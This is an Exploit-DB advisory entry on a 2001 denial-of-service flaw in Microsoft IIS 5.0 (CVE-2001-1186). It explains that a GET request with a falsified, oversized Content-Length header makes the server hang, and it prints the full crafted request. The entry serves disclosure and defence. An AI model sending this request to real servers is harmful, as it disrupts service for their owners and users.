Microsoft IIS 5.0 False Content-Length Field DoS Vulnerability

ID EDB-ID:21177
Type exploitdb
Reporter Ivan Hernandez Puga
Modified 2001-12-11T00:00:00


Microsoft IIS 5.0 False Content-Length Field DoS Vulnerability. CVE-2001-1186 . Dos exploit for windows platform


Microsoft IIS 5.0 may be prone to a denial of service condition when sent a specially crafted malformed HTTP GET header.

If an IIS 5.0 web server is sent a crafted HTTP GET request which contains a falsified and excessive "Content-Length" field, it behaves in an unusual manner. The server keeps the connection open and does not time out, but does not respond otherwise. It is possible that this may be used to cause a denial of service to the web server. 

The following HTTP GET Header, containing a falsified Content-Length field, is sufficient to cause the unexpected behavior:

GET /testfile HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/, application/,
application/msword, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Connection: Keep-Alive
Content-Length: 5300643
Authorization: Basic